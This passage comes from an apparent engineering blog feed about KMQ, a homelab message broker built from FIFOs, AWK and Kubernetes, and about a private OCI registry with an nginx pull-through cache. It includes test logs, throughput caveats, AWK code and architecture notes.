ts=2026-05-09T21:04:40Z runner=all-scenarios lvl=PASS script=scenarios/scenario-routing.sh msg=exit 0
ts=2026-05-09T21:04:40Z runner=all-scenarios lvl=INFO script=scenarios/scenario-dlq-replay.sh msg=start
ts=2026-05-09T21:04:45Z runner=all-scenarios lvl=PASS script=scenarios/scenario-dlq-replay.sh msg=exit 0
ts=2026-05-09T21:04:45Z runner=all-scenarios lvl=INFO script=scenarios/scenario-ack-delivery.sh msg=start
ts=2026-05-09T21:04:48Z runner=all-scenarios lvl=PASS script=scenarios/scenario-ack-delivery.sh msg=exit 0
ts=2026-05-09T21:04:48Z runner=all-scenarios lvl=INFO script=scenarios/scenario-e2e-ack.sh msg=start
ts=2026-05-09T21:04:57Z runner=all-scenarios lvl=PASS script=scenarios/scenario-e2e-ack.sh msg=exit 0
ts=2026-05-09T21:04:57Z runner=all-scenarios lvl=INFO script=scenarios/scenario-ack-retry.sh msg=start
ts=2026-05-09T21:05:28Z runner=all-scenarios lvl=PASS script=scenarios/scenario-ack-retry.sh msg=exit 0
ts=2026-05-09T21:05:28Z runner=all-scenarios lvl=INFO script=scenarios/scenario-backpressure.sh msg=start
ts=2026-05-09T21:05:51Z runner=all-scenarios lvl=PASS script=scenarios/scenario-backpressure.sh msg=exit 0
ts=2026-05-09T21:05:51Z runner=all-scenarios lvl=INFO script=scenarios/scenario-backpressure-block.sh msg=start
ts=2026-05-09T21:06:27Z runner=all-scenarios lvl=PASS script=scenarios/scenario-backpressure-block.sh msg=exit 0
ts=2026-05-09T21:06:27Z runner=all-scenarios lvl=INFO script=scenarios/scenario-tls-full.sh msg=start
ts=2026-05-09T21:06:38Z runner=all-scenarios lvl=PASS script=scenarios/scenario-tls-full.sh msg=exit 0
ts=2026-05-09T21:06:38Z runner=all-scenarios lvl=INFO script=scenarios/scenario-e2e-ack-tls.sh msg=start
ts=2026-05-09T21:06:52Z runner=all-scenarios lvl=PASS script=scenarios/scenario-e2e-ack-tls.sh msg=exit 0
ts=2026-05-09T21:06:52Z runner=all-scenarios lvl=SUMMARY script=all-scenarios msg=pass=10 fail=0
</code></pre>
<p>Ten scenarios. Zero failures. Total wall time 172 seconds.</p>
<p>The dual-ACK feedback loop described in this post is exercised by <code>scenario-e2e-ack.sh</code> (plaintext, 9 seconds) and <code>scenario-e2e-ack-tls.sh</code> (TLS, 14 seconds). Both send 50 messages, consume them through the egress service, write each consumed line to <code>processed.log</code> and poll <code>ack-ingress</code> until every sequence number returns <code>PROCESSED</code>. The TLS variant connects to ports 54433 and 54436 with <code>socat OPENSSL</code> and the CA file. <code>scenario-tls-full.sh</code> adds a durability-ACK step over port 54435 in the same encrypted style.</p>
<p>A reviewer who wants to run the suite without setting up step-ca can comment the last two <code>run_scenario</code> lines. The first eight scenarios run independently of TLS and continue to validate the full plaintext pipeline including durability, routing, dead-letter replay, backpressure block policy and ACK retry.</p>
<hr />
<h3 id="throughput">Throughput</h3>
<p>A direct burst from WORKER_NODE to the broker pod, 1000 messages of approximately 30 bytes each, no consumer pressure, pipeline cold but warm enough that the ring buffers are populated:</p>
<pre><code>ts=2026-05-09T21:08:51Z host=WORKER_NODE svc=kmq-throughput lvl=INFO phase=start msg_count=1000 broker=10.244.1.230:5673
ts=2026-05-09T21:08:51Z host=WORKER_NODE svc=kmq-throughput lvl=INFO broker_ready=true
ts=2026-05-09T21:08:51Z host=WORKER_NODE svc=kmq-throughput lvl=INFO queue_log_cleared
ts=2026-05-09T21:08:51Z host=WORKER_NODE svc=kmq-throughput lvl=INFO phase=drain_start
ts=2026-05-09T21:08:51Z host=WORKER_NODE svc=kmq-throughput lvl=INFO phase=ready_to_send
ts=2026-05-09T21:08:51Z host=WORKER_NODE svc=kmq-throughput lvl=INFO phase=send_start
ts=2026-05-09T21:08:52Z host=WORKER_NODE svc=kmq-throughput lvl=INFO phase=send_done send_elapsed_ms=1
ts=2026-05-09T21:08:52Z host=WORKER_NODE svc=kmq-throughput lvl=INFO phase=wait_flush
ts=2026-05-09T21:08:52Z host=WORKER_NODE svc=kmq-throughput lvl=INFO phase=flush_done arrived=1000 flush_ms=1 throughput_msg_s=500000
ts=2026-05-09T21:08:52Z host=WORKER_NODE svc=kmq-throughput lvl=INFO phase=end result=PASS throughput_msg_s=500000
</code></pre>
<p>500 000 messages per second computed by the script. Read this number with the conditions attached:</p>
<ul>
<li>Single-node deployment. Producer and broker pod are on the same worker (WORKER_NODE).</li>
<li>Payload is one routing key plus one timestamp plus one sequence number plus the literal <code>msg</code>. About 30 bytes per line.</li>
<li>The pipeline lives mostly in shared memory. Two ring buffers in <code>/dev/shm</code>. One FIFO. One PVC for <code>append.log</code> and <code>test.log</code>.</li>
<li><code>send_elapsed_ms=1</code> and <code>flush_ms=1</code> are at the millisecond clock granularity. The reported throughput hits the upper bound imposed by the timer resolution at this batch size.</li>
<li>The <code>+1</code> in the script’s denominator is a divide-by-zero guard, which makes the number conservative when the elapsed time rounds to 1 ms.</li>
</ul>
<p>What this measures honestly is that the pipeline is fast enough that a 1000-message burst at small payload size is below the resolution of the wall clock used for the test. What it does not measure is sustained throughput under continuous load with realistic payloads, cross-node traffic, or contention with consumers.</p>
<p>For a headline number on the niche this broker serves, 500 k msg/s on a 4-core mini PC at 1.5 GHz is honest. Anyone reproducing the run on the same hardware should see the same order of magnitude.</p>
<hr />
<h3 id="what-was-added-across-the-series">What was added across the series</h3>
<p>The journey from “push and pray” to a fully accountable, encrypted message path took three additions on top of the original pipeline.</p>
<ol>
<li>A storage-level ACK that proves durability. Post 03.</li>
<li>A processing-level ACK that proves the consumer did its work. This post.</li>
<li>Transport encryption that keeps the whole exchange private. This post.</li>
</ol>
<p>All three were plugged into the broker using the same sidecar pattern. No hot-path changes. No workflow interruptions. Zero-loss rollouts. The broker still knows nothing about delivery guarantees. It holds the evidence and serves queries. The guarantees are built on top, in the test harness and in the producer’s retry logic, exactly where they belong.</p>
<hr />
<h3 id="what-remains">What remains</h3>
<p>What the broker can prove today is bounded. The boundaries are visible.</p>
<ul>
<li><strong>Durability is single-node</strong>. <code>append.log</code> lives on one PVC on one worker. If that worker’s disk dies, history dies with it. An off-node backup or a replicated WAL is the next durability step.</li>
<li><strong>Availability is single-replica</strong>. The broker pod is one replica with <code>strategy: Recreate</code>. Loss of the worker means loss of the broker. For a lab that is acceptable. For anything else it is not.</li>
<li><strong>No protocol-level backpressure at the TCP boundary</strong>. The block policy plus the ACK retry loop hide the gap, but the TCP ingress still drops messages under extreme load before block engages. A proper producer-side window or HTTP/2 flow control would close this permanently rather than mask it.</li>
<li><strong>No access control</strong>. Anyone reachable on the cluster network can produce messages or query ACKs. Mutual TLS for client identity, or an application-level shared secret on the ACK channels, is the next hardening step.</li>
<li><strong>Manual certificate rotation</strong>. step-ca issues 24-hour certificates. A scheduled job that requests a fresh certificate and updates the Secret before expiration is queued.</li>
<li><strong>Unbounded log growth</strong>. Both <code>append.log</code> and <code>processed.log</code> grow forever. The CRD already has retention fields. The rotation implementation is not yet in tree.</li>
<li><strong>Observability is <code>tail -f</code> and <code>wc -l</code></strong>. Honest but limited. A small Prometheus exporter reading ring-buffer depth and ACK latency would not require pipeline changes.</li>
</ul>
<p>For the niche it serves, KMQ is a lab-grade broker with explicit reliability boundaries, a complete inspectable feedback loop and a transport encryption layer that does not interfere with any of the above. Each guarantee is backed by an executable scenario that exits 0 or fails loud. The series closes here. The gaps above are each their own scope.</p>
Closing the delivery gap: an out-of-band acknowledgment sidecar and retry loop2026-05-07T00:00:00+00:002026-05-07T00:00:00+00:00
Unknown
https://lf3.gitlab.io/blog/kmq-ack-sidecar-retry-loop/<h2 id="closing-the-delivery-gap-an-out-of-band-acknowledgment-sidecar-and-retry-loop">Closing the delivery gap: an out-of-band acknowledgment sidecar and retry loop</h2>
<p>Earlier posts documented <a href="/blog/kmq-ring-buffer-backpressure-block">KMQ’s four scenarios going from two failures to five passes</a> and the <a href="/blog/private-registry-upstream-pull-through-cache">local OCI registry behind them</a>. The core pipeline (FIFO, ring buffers, <code>append.log</code>) was proven durable and inspectable. One boundary remained. A producer could not know which messages had been safely persisted. Under a stalled consumer the sender could outrun backpressure.</p>
<p>This post describes the addition of an <strong>out-of-band acknowledgment (ACK) sidecar</strong> and a <strong>retry loop</strong> that turns the broker’s append log into a pull-based durability contract. The change required no modification to the hot-path containers, no PVC migration and only one new container in the existing pod. The result is a scenario that delivers 20 000 messages with zero loss even when the initial send loses some, proving that the combination of block-mode ring buffers and an on-demand ACK endpoint closes the delivery gap.</p>
<hr />
<h3 id="why-an-out-of-band-ack">Why an out-of-band ACK?</h3>
<p>Inside the pipeline, backpressure is enforced by kernel FIFO and ring-buffer blocking. At the TCP boundary, however, the producer can push data faster than the ingress propagates that backpressure, resulting in message loss. This is a documented trade-off of the previous iteration. Adding a per-message acknowledgment inside the hot path would violate the “pure AWK, no shell” contract and increase latency. A separate query endpoint that reads the append log on demand gives the producer the information it needs to decide when to retry, without touching the pipeline.</p>
<p>This approach follows the <strong>inspectability principle</strong> of KMQ: every durable message is a line in <code>append.log</code> and its existence can be checked with standard tools. The ACK sidecar automates that check over a TCP socket.</p>
<hr />
<h3 id="the-ack-egress-sidecar">The ack-egress sidecar</h3>
<p>A new container, <code>ack-egress</code>, is added to the broker pod. It runs <code>socat</code> listening on port 5675, forking a single-shot <code>gawk</code> process per connection. The AWK script accepts the keyword <code>GET_ACK</code> and responds with <code>ACK <seq></code>, where <code><seq></code> is the last sequence number found in <code>append.log</code>. The script uses only built-in <code>getline</code> and string functions. No <code>system()</code>. No external binaries.</p>
<pre data-lang="awk" class="language-awk "><code class="language-awk" data-lang="awk"># ack-egress.awk - KMQ out-of-band ACK query endpoint.
BEGIN {
LOG = ENVIRON["APPEND_LOG"]
}
{
if ($1 == "GET_ACK") {
last_seq = 0
while ((getline line < LOG) > 0) {
split(line, f, "|")
last_seq = f[1]
}
close(LOG)
print "ACK " last_seq
fflush()
}
exit # one request per connection
}
</code></pre>
<p>The sidecar mounts the same PVC as the broker, read-only. It is stateless and consumes negligible resources (under 10 MiB RSS). A dedicated <code>NetworkPolicy</code> allows ingress on port 5675 within the cluster. A new port on the <code>broker-svc</code> Service makes the endpoint reachable by DNS name.</p>
<hr />
<h3 id="retry-logic">Retry logic</h3>
<p>With the ACK endpoint in place, a producer can implement a simple retry loop:</p>
<ol>
<li>Send a batch of messages (e.g. 5 000 lines).</li>
<li>Query the ACK endpoint to obtain the current durable sequence number.</li>
<li>If the number of delivered messages is less than the number sent, resend the missing sequences starting from <code>last_ack + 1</code>.</li>
<li>Repeat until the ACK confirms all messages are durable.</li>
</ol>
<p>This loop turns the unreliable TCP boundary into an <strong>application-level at-least-once guarantee</strong>. The producer may send duplicate messages but the broker’s framer assigns a unique sequence number to each line. The gap-check tool verifies that the final log contains a contiguous, duplicate-free sequence.</p>
<pre><code>producer broker pod
| 1. send messages |
|---------- TCP 5673 -----------------> | internal-ingress
| | |
| | v
| | (pipeline: FIFO,
| | ring buffers,
| | framer, durability,
| | router)
| | |
| | v
| | append.log (PVC)
| | ^
| | | reads only
| 2. GET_ACK | |
|---------- TCP 5675 -----------------> | ack-egress (sidecar)
| |
| 3. ACK <last_seq> |
|<--------------------------------------|
| |
| 4. resend from last_ack+1 if needed |
| (loop until ACK == sent count) |
</code></pre>
<hr />
<h3 id="the-ack-retry-scenario">The ack-retry scenario</h3>
<p>A new scenario script, <code>scenario-ack-retry.sh</code>, demonstrates the loop. It starts from a clean broker pod, queries the baseline ACK and then sends 20 000 messages in chunks of 5 000. After each chunk the ACK is checked. As seen in earlier backpressure tests, the first chunk may not deliver all 5 000 messages. The ACK reveals the shortfall immediately.</p>
<p>Excerpt from a typical run (with a log that already contained older data; the script uses a delta from the starting sequence):</p>
<pre><code>ts=... step=send action=send_chunk seq=95771 count=5000 missing=20000
ts=... step=ack_check ack_seq=98270 delivered=2500 target=20000
ts=... step=retry action=continue
ts=... step=send action=send_chunk seq=98271 count=5000 missing=17500
ts=... step=ack_check ack_seq=102555 delivered=6785 target=20000
...
ts=... step=complete action=all_delivered
ts=... step=result outcome=PASS delivered=21100 total_sent=20000
</code></pre>
<p>The final gap check reports a contiguous sequence with zero gaps, confirming that every message eventually reached the append log.</p>
<hr />
<h3 id="relationship-to-the-transactional-outbox-pattern">Relationship to the transactional outbox pattern</h3>
<p>The <a rel="noopener nofollow noreferrer" target="_blank" href="https://microservices.io/patterns/data/transactional-outbox.html">transactional outbox pattern</a> solves the problem of atomically updating a database and publishing a message. A message relay reads an outbox table and sends the messages to a broker. KMQ does <strong>not</strong> implement that pattern because the broker’s write-ahead log <strong>is</strong> the database. There is no separate store to synchronise. The ACK endpoint fulfills a role similar to the outbox relay. It reads the durable store and provides a status signal. The difference is that it is <strong>pull-based</strong> rather than push-based. The producer polls the ACK, decides whether to retry and retains control over delivery semantics. This design keeps the broker minimal and leaves policy decisions to the client.</p>
<hr />
<h3 id="surgical-change-no-disruption">Surgical change, no disruption</h3>
<p>Adding the ACK sidecar required only:</p>
<ul>
<li>A new container definition in the broker Deployment manifest.</li>
<li>An additional port in the Service and a NetworkPolicy rule.</li>
<li>Rebuilding the broker image with the <code>ack-egress.awk</code> file included (the same image is used for all broker containers).</li>
</ul>
<p>No hot-path pipelines were modified. The existing scenarios (resume, routing, backpressure measurement, dead-letter replay) continue to pass unchanged. This shows the <strong>operational lightness</strong> of the architecture. New capabilities can be grafted onto the pod without disrupting the running system and without complex rollout procedures. Future additions (e.g. TLS on the ACK port or a push-based ack via a response FIFO) can follow the same pattern.</p>
<hr />
<h3 id="what-comes-next">What comes next</h3>
<p>With the ACK endpoint operational, the broker has an inspectable reliability contract for the laboratory niche it serves. Next steps under consideration include:</p>
<ul>
<li><strong>Mutual TLS</strong> on the internal-ingress and ack ports, using a self-signed certificate generated by a one-time init container, to ensure only authorised producers can connect.</li>
<li><strong>A minimal producer library</strong> (AWK or shell) that wraps the retry loop, exposing a simple “send-and-confirm” interface.</li>
<li><strong>Log rotation</strong> for <code>append.log</code>, driven by the CRD’s retention policy, to bound disk usage over long-running experiments.</li>
</ul>
<p>KMQ remains a single-pod, single-node broker built from Unix primitives. Its reliability guarantees are now explicit, measurable and under the control of the operator.</p>
KMQ: four scenarios, four passes and the block policy that closes the gap2026-05-06T00:00:00+00:002026-05-06T00:00:00+00:00
Unknown
https://lf3.gitlab.io/blog/kmq-ring-buffer-backpressure-block/<h2 id="kmq-four-scenarios-four-passes-and-the-block-policy-that-closes-the-gap">KMQ: four scenarios, four passes and the block policy that closes the gap</h2>
<p><a href="/blog/kmq-broker-from-primitives">Post 01</a> documented four scenarios against KMQ, a homelab message broker built from FIFOs, AWK and Kubernetes. Two passed. Two failed. The failures traced the boundary where TCP ingress does not propagate backpressure and where a pod restart opens a window that drops messages. A separate aside covers the <a href="/blog/private-registry-upstream-pull-through-cache">private OCI registry and pull-through cache</a> that supports the cluster.</p>
<p>This post documents the next iteration. The topology is simpler. The ring-buffer overflow policy is explicit. All four scenarios pass, and a fifth scenario, zero-loss backpressure with a blocked consumer, passes as well.</p>
<hr />
<h3 id="simpler-topology-direct-path">Simpler topology, direct path</h3>
<p>The original architecture placed a NodePort, an ingress proxy and a ClusterIP service between the producer and the broker. That layering made the boundary issues visible, but it also masked the core pipeline’s behaviour. For the updated tests, the producer connects directly to the broker’s internal-ingress port inside the cluster, using the pod IP obtained from <code>kubectl</code>. No NodePort, no ingress Deployment, no firewall rules. The path is a single TCP connection to the broker pod on port 5673.</p>
<p>The broker pod itself runs four containers: internal-ingress, framer, durability and router. They communicate through one named FIFO (<code>/pipes/raw</code>) and two ring buffers in <code>/dev/shm</code>. The only persistent state is <code>append.log</code> and the per-queue log files, stored on a hostPath volume bound to a PVC provisioned by <code>local-path</code> on the worker node.</p>
<pre><code>producer (any host with socat)
|
| TCP to broker pod port 5673
v
+================================================+
| broker Pod |
| |
| internal-ingress socat + gawk |
| | |
| v FIFO /pipes/raw |
| framer.awk seq + ts |
| resumes from append.log |
| | |
| v /dev/shm/kmq/framed |
| ring buffer 8k slots, block policy |
| | |
| v |
| durability.awk forwards downstream |
| | | |
| | +-----> append.log on PVC (WAL) |
| | |
| v /dev/shm/kmq/durable |
| ring buffer 8k slots, block policy |
| | |
| v |
| router.awk prefix match |
| | |
| v |
| PVC /opt/kmq/logs: |
| test.log |
| jobs.log |
| random.log |
| bar.log |
| dead.log |
| append.log |
+================================================+
|
| TCP from egress pods or direct read
v
consumer or inspection
</code></pre>
<hr />
<h3 id="ring-buffer-policy-block-vs-drop-oldest">Ring-buffer policy: block vs drop_oldest</h3>
<p>The ring-buffer library (<code>rb.awk</code>) now exposes a policy switch through the environment variable <code>RB_OVERFLOW_POLICY</code>. When set to <code>drop_oldest</code>, a full buffer advances the tail pointer, discarding the oldest message. When unset or set to <code>block</code>, the writer enters a busy-wait loop, calling <code>sleep</code> for the value of <code>SLEEP_SHORT</code> (0.001 seconds) until a slot opens.</p>
<p>The relevant AWK logic inside <code>rb_write</code>:</p>
<pre data-lang="awk" class="language-awk "><code class="language-awk" data-lang="awk">while (1) {
head = rb_cursor_read(hfile)
tail = rb_cursor_read(tfile)
next_head = (head + 1) % size
if (next_head != tail) break
if (ENVIRON["RB_OVERFLOW_POLICY"] == "drop_oldest") {
tail = (tail + 1) % size
print tail > tfile
fflush(tfile)
close(tfile)
break
}
system("sleep " ENVIRON["SLEEP_SHORT"])
}
</code></pre>
<p>The <code>drop_oldest</code> policy gives maximum throughput but loses messages when a downstream stage stalls. The <code>block</code> policy propagates backpressure: the writer sleeps, the FIFO upstream fills, the TCP sender blocks and no messages are lost.</p>
<hr />
<h3 id="scenario-1-sequence-resume-across-broker-restart">Scenario 1: sequence resume across broker restart</h3>
<p>Pattern: write-ahead log recovery, Kafka offset replay.</p>
<p>Test: send 500 messages. Kill the broker pod. Wait for a replacement. Send another 500. Verify that the sequence in <code>append.log</code> is contiguous and that the framer logs <code>seq_resume=500</code> on startup.</p>
<p>Result: pass. The new framer reads the existing <code>append.log</code>, finds the last sequence number and resumes from 501. The five-record transition window shows the payload changing from <code>batch1</code> to <code>batch2</code> with no gap.</p>
<pre><code>499|...|test.probe|...|499|batch1
500|...|test.probe|...|500|batch1
501|...|test.probe|...|1|batch2
502|...|test.probe|...|2|batch2
</code></pre>
<hr />
<h3 id="scenario-2-routing-and-dead-letter-cardinality">Scenario 2: routing and dead-letter cardinality</h3>
<p>Pattern: exchange-to-queue binding, AMQP routing.</p>
<p>Test: send 100 messages with five routing-key prefixes (<code>test.probe</code>, <code>jobs.process.*</code>, <code>jobs.notify.*</code>, <code>random.unknown_*</code>, <code>bar.baz_*</code>). Verify counts in each destination file.</p>
<p>Result: pass. <code>test.log</code> receives 40 messages, <code>jobs.log</code> 40, <code>random.log</code> 10, <code>bar.log</code> 10. No dead-letter file because the router creates one file per prefix and every key matches a prefix. The routing logic is a five-line <code>if/else if</code> chain in <code>router.awk</code>.</p>
<hr />
<h3 id="scenario-3-backpressure-boundary-measurement-drop-oldest">Scenario 3: backpressure boundary measurement (drop_oldest)</h3>
<p>Pattern: kernel-enforced flow control.</p>
<p>Test: pause the router (<code>kill -STOP</code>). Send 20 000 messages with <code>drop_oldest</code> policy. Measure how many survive.</p>
<p>Result: measured, not pass/fail. With <code>drop_oldest</code>, about 54 percent of messages are lost when the consumer is stalled. The sender does not block. The ring buffer fills and the oldest messages are discarded. This confirms the boundary where backpressure stops: the TCP ingress does not propagate the ring-buffer block back to the client.</p>
<hr />
<h3 id="scenario-3-block-zero-loss-backpressure-block-policy">Scenario 3-block: zero-loss backpressure (block policy)</h3>
<p>Test: same as Scenario 3, but with <code>RB_OVERFLOW_POLICY</code> unset (defaulting to <code>block</code>). Burst size 10 000 messages.</p>
<p>Result: pass. The sender blocks after the ring buffer fills. After the router resumes, all 10 000 messages drain to <code>append.log</code>. Zero loss. The protocol-level acknowledgement loop is absent, but the kernel-level blocking at the FIFO and the busy-wait in the ring-buffer writer together prevent any message from being dropped during the pipeline stall.</p>
<hr />
<h3 id="scenario-4-dead-letter-queue-replay">Scenario 4: dead-letter queue replay</h3>
<p>Pattern: SQS DLQ redrive, poison message recovery.</p>
<p>Test: send 70 known-key messages and 30 with a <code>dead.letter_*</code> prefix. Verify routing. Capture the last 30 lines of <code>dead.log</code> (the newly arrived dead letters), rewrite the routing keys to <code>test.recovered_*</code> and reinject through the direct broker connection. Verify that <code>test.log</code> grew by 100 (70 original + 30 recovered) and that <code>dead.log</code> is untouched (audit trail preserved).</p>
<p>Result: pass. The delta-based measurement avoids interference from previous runs. The awk one-liner that rewrites the keys:</p>
<pre data-lang="awk" class="language-awk "><code class="language-awk" data-lang="awk">awk -F'|' '{ n=$3; sub(/^dead\.letter_/,"",n); print "test.recovered_" n "|" now "|" n "|recovered" }'
</code></pre>
<p>This recovery operation reads the dead-letter file, maps each record to a new routing key and pushes it back through the broker. The original dead-letter file stays unchanged on disk, serving as an immutable audit trail.</p>
<hr />
<h3 id="throughput-on-modest-hardware">Throughput on modest hardware</h3>
<p>The worker node is an Intel N97 mini PC: four Alder Lake efficiency cores at 1.5 GHz, 16 GB RAM, consumer-grade NVMe storage.</p>
<p>Throughput measured via <code>throughput-test.sh</code>, sending directly to the broker pod and polling <code>test.log</code> for completion:</p>
<ul>
<li>1 000 messages: send + flush in ~1 ms, ~1 M msg/s</li>
<li>10 000 messages: send + flush in ~6 ms, ~1.4 M msg/s</li>
<li>50 000 messages: send in 30 ms, flush in 30 ms, ~1.7 M msg/s</li>
</ul>
<p>These are burst numbers. The sustained rate under continuous load would be lower. The measurement counts the time from the first message sent until the last message appears in <code>test.log</code>, which includes the full pipeline traversal: TCP receive, FIFO, framing, durability write to <code>append.log</code>, durable ring buffer, router write to queue file. No message reordering occurs. <code>check-gap.awk</code> reports zero gaps in every run.</p>
<p>The entire broker runs as four <code>gawk</code> processes inside a single Kubernetes pod. Total resident memory during a 10 k burst stays under 10 MB. The only writes to disk are the sequential appends to <code>append.log</code> and the queue files. No compaction, no indexing, no background threads.</p>
<hr />
<h3 id="what-changed-structurally">What changed, structurally</h3>
<ul>
<li>The test harness now connects directly to the broker pod IP, removing the ingress layer and its associated TCP-boundary artifacts.</li>
<li>The ring-buffer overflow policy is explicit and switchable via an environment variable, allowing the same binary to demonstrate both lossy high-throughput and lossless blocked behaviour.</li>
<li>The dead-letter replay scenario uses a delta-count approach that is idempotent across multiple runs, making the tests repeatable without manual cleanup.</li>
</ul>
<p>KMQ remains a single-binary, single-pod broker with no external dependencies. Every message in the system is a line in a file. Every file is readable with <code>cat</code>, <code>tail</code> and <code>awk</code>. Every scenario is a shell script that produces log-fmt output and an exit code.</p>
<p>This round of scenarios moves the project from “two passes, two failures” to “five passes”. The passes do not come from a new protocol or a rewrite. They come from a simpler test path that exercises the core pipeline directly and from a single <code>if</code> statement that decides whether a full buffer advances the tail pointer or sleeps for a millisecond.</p>
A private OCI registry and an upstream pull‑through cache2026-05-05T00:00:00+00:002026-05-05T00:00:00+00:00
Unknown
https://lf3.gitlab.io/blog/private-registry-upstream-pull-through-cache/<p>Second in a series on the KMQ message broker and its substrate. The first post <a href="/blog/kmq-broker-from-primitives">describes KMQ, a broker built from FIFOs and awk</a>.
Next <a href="/blog/kmq-ring-buffer-backpressure-block">four scenarios, four passes, and the block policy that closes the gap</a>.</p>
<h2 id="a-private-oci-registry-and-a-pull-through-cache">A private OCI registry and a pull‑through cache</h2>
<p>Pulling a container image is an operation that almost never gets inspected. The tooling is good. CI is fast. The cluster is happy. Most days, that is enough. Most days is not all days.</p>
<p>A registry is a system that answers questions about artifacts: do you have this digest, give me this manifest, give me these blobs. The protocol is small and well specified. The implementations are mostly fine. What changes between deployments is the topology, not the protocol. Where does the artifact live, who is allowed to see it, who is allowed to write it, at which moment in time can it be said that this digest is the one to trust.</p>
<p>Two answering systems got set up. One private, behind a segment with no internet egress. One public, sitting in front of three external registries, caching on the way. The two answers belong to different questions and the architecture has to keep them separate.</p>
<h3 id="two-registries">Two registries</h3>
<p>A private registry holds artifacts produced internally or kept deliberately. The trust model is internal: a known author signed the manifest, a known operator controls the storage, a known chain of custody exists.</p>
<p>A pull-through cache does not produce, it intermediates. Trust still belongs to the upstream. What the cache adds is locality, latency reduction, bandwidth amortization and a local copy of what was seen the last time the question was asked.</p>
<p>The two systems share the OCI distribution API on the wire. The two systems do not share semantics.</p>
<p>Both, on different machines, with traffic crossing a router that segments two VLANs. The private registry on a small bare-metal server inside the inner segment. The pull-through cache on the router itself, which is the only host with internet egress.</p>
<h3 id="the-constraint-that-decided-the-shape">The constraint that decided the shape</h3>
<p>The router runs OpenWrt on aarch64. A previous attempt to run a Go-based registry directly on the router failed. The binary started, opened a socket, never accepted a connection. Nothing in the logs. The behavior reproduced with two different Go-based registry servers. After enough time, silence becomes a signal.</p>
<p>That decided the split. The Go program goes inside, on a host with a normal kernel. The router runs C, which is fine on this hardware. nginx in front of three OCI upstreams is a job that fits a pull-through cache cleanly.</p>
<p>A constraint upstream of the design is a gift. It removes one branch of the search tree.</p>
<h3 id="the-private-registry">The private registry</h3>
<p>The private side runs zot, a single-binary registry in Go that ships an OCI-conformant minimal build with no extensions. Distroless is not relevant on this host. The registry runs as a system service, supervised by the init system, with logs routed through the same syslog as everything else. The minimal build has no UI, no search, no Trivy database, no metrics server. It speaks the distribution protocol.</p>
<p>Configuration is a small JSON file at the canonical path. The HTTP listener binds to the inner-segment IP and a chosen port. No TLS, no auth. The trust boundary is the network. The segment is reachable only from machines under direct control, and inbound from the working laptop subnet is opened explicitly in the firewall for a single port.</p>
<p>Adding TLS to a private registry that lives inside a segment with integrity properties at the network layer is a different decision from adding TLS to a service crossing an arbitrary path. A step-ca instance is available for issuing certificates internally. The certificate step is queued. As of this writing the registry exists, responds 200 on <code>/v2/</code>, accepts pushes from the laptop and answers pulls from the same.</p>
<p>Two notes from the build:</p>
<p>The Linux init script needed <code>command_user</code>, <code>command_background</code>, <code>pidfile</code> and a <code>start_pre</code> hook that asserts ownership on the storage and log directories. The first start crashed because a stray root-owned log file from an earlier <code>verify</code> run blocked the registry user from opening the log for append. <code>checkpath</code> in the init script handles directories but not files inside them. A one-line <code>chown</code> fixed it. The next iteration of the init script will assert file modes too, with <code>checkpath -f</code>.</p>
<p>The default firewall on the server side runs nftables with a default-drop input chain. It accepted SSH and HTTPS but not the registry port. One line in the nft ruleset closed the loop.</p>
<h3 id="the-cache-and-the-awkward-problem-in-the-middle">The cache, and the awkward problem in the middle</h3>
<p>The cache is where the architecture had to do real work.</p>
<p>The router has a custom build of nginx, compiled statically against musl, with the proxy_cache module included but without OpenSSL. That build exists because there is no straight path to compile mainline nginx against both OpenSSL and the proxy_cache stack on this OpenWrt configuration. This was verified earlier. The factory-shipped nginx has OpenSSL but not proxy_cache. So one binary can do TLS but not caching, the other can cache but not do TLS.</p>
<p>Three upstream registries to cache. Each upstream serves only HTTPS. There is no HTTP fallback for any of them, which is correct.</p>
<p>Why these three. Chainguard (cgr.dev) for hardened minimal images consumed by KMQ and other in-cluster workloads. Docker Hub for the long tail of base images: alpine, busybox, the language runtimes that nothing else publishes consistently. GHCR for upstream tooling, including zot itself. The list is not chosen for symmetry. Each upstream is in the path because something specific consumes from it.</p>
<p>The pragmatic resolution to the TLS-or-cache split is composition. Two nginx processes, two configurations, chained on loopback. The cache layer terminates HTTP from clients on the inner-segment IP. It proxies to a TLS-terminator nginx listening on a private high port on loopback. The terminator opens the HTTPS connection upstream, with SNI, with certificate verification against the OS CA bundle, with the correct Host header for each upstream. The body comes back through the terminator, into the cache layer and either gets stored or not, depending on the response code and the request path.</p>
<p>The router has 47 GB of free disk on a USB drive already in use as an Alpine package mirror. The cache reuses it.</p>
<p>Three things in this design needed to be reasoned about explicitly.</p>
<p><strong>Cache key and authentication.</strong> Every request to a public OCI registry begins with a 401 and a <code>WWW-Authenticate: Bearer</code> header pointing to a token endpoint. The client fetches the token directly from the upstream and re-issues the original request with the bearer credential. That second request is what produces the 200 with the manifest or blob. If the cache key includes the <code>Authorization</code> header, every client with a different token sees a miss. If the cache key is just the request URI, every authenticated client shares the cached object.</p>
<p>For an anonymous pull-through, sharing is the desired behavior. The cache key is <code>$request_uri</code>, period. The <code>Authorization</code> header is forwarded to the terminator and then upstream, so the upstream still authorizes per-request. The cache layer does not authenticate, does not store credentials, does not know who the clients are. It stores artifacts by their URI, and the URI for a blob is its digest, which is a content address. Two clients pulling the same blob with different tokens get the same byte sequence. The cache is correct.</p>
<p>The 401 itself must never be cached. There is a hard-coded <code>proxy_cache_valid 401 0</code> in every server block. The first time this was forgotten, the cache held a 401 with an upstream WWW-Authenticate frozen in it, and every subsequent client tried to authenticate against a stale realm.</p>
<p><strong>Blobs versus manifests.</strong> OCI distinguishes two kinds of object on the path. A blob lives at <code>/v2/<name>/blobs/sha256:<digest></code> and is immutable: the digest is its identity. A manifest lives at <code>/v2/<name>/manifests/<reference></code>, and the reference may be a digest (immutable) or a tag (mutable). The cache treats them differently. Blobs cache for a year. Manifests cache for an hour. Tagged manifests will go stale and the upstream will report a new digest after the TTL. Digest-addressed objects are content. Content does not change.</p>
<p><strong>Redirects.</strong> This is the surprise. cgr.dev and Docker Hub do not serve blobs from their own infrastructure. They redirect blob requests, with a 307, to a signed URL on a CDN. The client follows the redirect and downloads the blob from a third party. If the cache layer does not store the 307 itself, every blob request hits the upstream API again, gets another 307, the client re-downloads the blob from the CDN. If the cache layer follows the redirect internally and caches the body, the result is true blob caching. nginx vanilla does not follow upstream redirects internally for proxy_pass, and trying to make it do so cleanly is a fight worth avoiding.</p>
